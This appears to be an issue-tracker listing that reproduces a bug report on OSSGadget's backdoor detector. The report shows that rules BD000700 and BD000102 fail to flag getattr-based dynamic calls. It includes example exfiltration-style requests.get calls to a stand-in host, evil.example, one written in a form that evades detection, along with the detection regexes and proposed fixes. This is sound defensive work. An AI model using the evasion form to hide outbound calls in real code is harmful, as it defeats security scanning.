[BUG] BD000700 (and BD000102) miss getattr-based dynamic calls
Nobody has claimed this yet.
Assessment
- Difficulty
- 3/5
- Estimated time
- 1-2 days
- Newbie friendliness
- 62/100
Research direction
Start by reading the BD000700 and BD000102 rule definitions and the rule matching path in the C# detector; the payload names data_exfiltration.json and code_execution.json. Then find the existing regression tests for these rules and run them. Add coverage for literal and constant getattr calls, and consider whether to implement the suggested patterns or normalization; done means both rules detect the reported dynamic forms without breaking existing matches.
Written by the indexing model from the issue text.
Description
Case Study
Literal attribute call (detected):
import requests
requests.get("http://evil.example/x")
Detected as: Security.Backdoor.DataExFiltration (rule BD000700, confidence Low).
Semantically identical dynamic dispatch in normal Python code, for example config-driven or plugin-driven code (not detected):
import requests
method = "get"
getattr(requests, method)("http://evil.example/x")
Result: "No tags were found."
Current rules
BD000700 (data_exfiltration.json): pattern is the regex
\.(request|post|get)\(
with scopes ["code","comment"] and confidence low.
BD000102 (code_execution.json): pattern is the string
requests.get
with scope code and confidence medium.
Both are pure text matches. The first requires the byte sequence ".get(" and the second requires "requests.get". Neither sequence exists in getattr(requests, method)(...), so the rules can never fire for a dynamic call. This also fails for the constant form getattr(requests, "get")(...).
Suggested Fix
Add a getattr variant, for example for BD000700:
getattr\s*\(\s*[\w.]+\s*,\s*['"](get|post|request)['"]\s*\)\s*\(
and for BD000102:
getattr\s*\(\s*requests\s*,\s*['"](get|post)['"]\s*\)
A more general fix is a small normalization pass that rewrites constant getattr(mod, "attr") calls to mod.attr (and folds constant attribute names) before rules run. Please add regression tests for both direct and getattr calls.
Reproduction results
Environment: OSSGadget 0.2.38 (ApplicationInspector), .NET 8, Windows.
Commands:
ossgadget detect-backdoor -f text ./ori
ossgadget detect-backdoor -f text ./adv
Results:
ori: Security.Backdoor.DataExFiltration (Low)
adv: No tags were found.
Attachments: ori.py, adv.py
- Dominant language
- C#
- Stars
- 372
- Forks
- 57
- PR merge metrics
- No merged PRs in 30d
Getting set up
Starts the project's dev container in your browser, under your own GitHub account.
- Ships a Dockerfile or Docker Compose file
- No pull request template
- No contributing guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
More from microsoft/OSSGadget
-
Difficulty 2/5 1-3 hours Newbie friendliness 78/100
-
Difficulty 4/5 3-5 days Newbie friendliness 54/100
-
Difficulty 5/5 Over a week Newbie friendliness 42/100
-
Difficulty 5/5 Over a week Newbie friendliness 35/100
-
Difficulty 4/5 3-5 days Newbie friendliness 30/100
All issues in microsoft/OSSGadget
Similar issues
-
bug
Difficulty 2/5 1-3 hours Newbie friendliness 70/100
lugassawan/swe-workbench#823 ·
Maintainers usually reply within 1 day
-
devtools
Difficulty 2/5 1-3 hours Newbie friendliness 82/100
Maintainers usually reply within 1 day
-
clawsweeper:fix-shape-clear clawsweeper:needs-maintainer-review clawsweeper:no-new-fix-pr clawsweeper:not-repro-on-main impact:ux-release-blocker issue-rating: 🦪 silver shellfish P0
Difficulty 2/5 1-3 hours Newbie friendliness 72/100
openclaw/openclaw-windows-node#1843 · 1 comment · 1 reaction ·
Maintainers usually reply within 1 day
-
Difficulty 2/5 1-3 hours Newbie friendliness 66/100
-
kind:ux size:S type:bug
Difficulty 2/5 1-3 hours Newbie friendliness 78/100
elsa-workflows/elsa-foundation#3256 ·
Maintainers usually reply within 1 day